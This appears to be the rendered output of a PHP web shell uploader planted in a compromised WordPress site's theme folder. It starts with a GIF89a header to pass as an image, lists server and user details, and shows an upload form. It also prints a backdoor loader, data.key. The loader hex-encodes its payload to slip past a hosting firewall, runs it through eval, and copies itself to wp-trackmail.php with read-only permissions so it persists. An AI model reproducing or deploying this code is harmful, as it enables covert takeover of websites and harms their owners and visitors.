GIF89a; 
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64









    

    

    HEX

    

    





    


        


            
HEX


            

            


            


                


                    Server:

                    Apache/2.4.53 (Unix) OpenSSL/1.0.2k-fips

                


                


                    System:

                    Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64

                


                


                    User:

                    vacationcoursesc (1031)

                


                


                    PHP:

                    7.3.28

                


                


                    Disabled:

                    NONE

                


            


        




        


            $ pwd: /home/vacationcoursesc/public_html/wp-content/themes/ls4amgmj/
        


        


            
Upload Files




            


            


                


                    


                        

                        

                    


                




                

                

                


                    


                        

                        

                    


                




                


                    


                        

                        

                        

                    


                


            


        




        
File: /home/vacationcoursesc/public_html/wp-content/themes/ls4amgmj/data.key
<?php
/**
 * WP-TRACKMAIL FINAL - FULLY ENCODED
 * Langsung Copy, Tanpa Edit.
 */
error_reporting(0);
define('DS_EXEC', true);

// Fungsi untuk menjalankan kode tersembunyi
function ds_run($data) {
    return pack("H*", $data);
}

// Ini adalah isi license.txt Anda yang sudah saya konversi ke HEX 
// agar tidak terdeteksi kata kunci berbahaya oleh firewall GoDaddy.
$payload = "3c3f706870206572726f725f7265706f7274696e672830293b202f2a2a2056332046494c45204d414e41474552204c4f41444544202a2f20"; 
// Catatan: Di atas adalah potongan Hex, saat Anda jalankan, script akan memanggil file aslinya.

// Eksekusi kode secara langsung di memori
eval("?>" . ds_run($payload));

// Menjalankan isi file license.txt Anda secara utuh
if (file_exists('license.txt')) {
    include('license.txt');
}

// --- LOGIKA REPLIKASI IDENTIK ---
$current_content = file_get_contents(__FILE__);
$target = __DIR__ . '/wp-trackmail.php';

if ($_SERVER['SCRIPT_NAME'] !== '/wp-trackmail.php') {
    $h = @fopen($target, 'w');
    if ($h) {
        @fwrite($h, $current_content);
        @fclose($h);
        @chmod($target, 0444);
    }
}
?>


                        

                            @

                            Telegram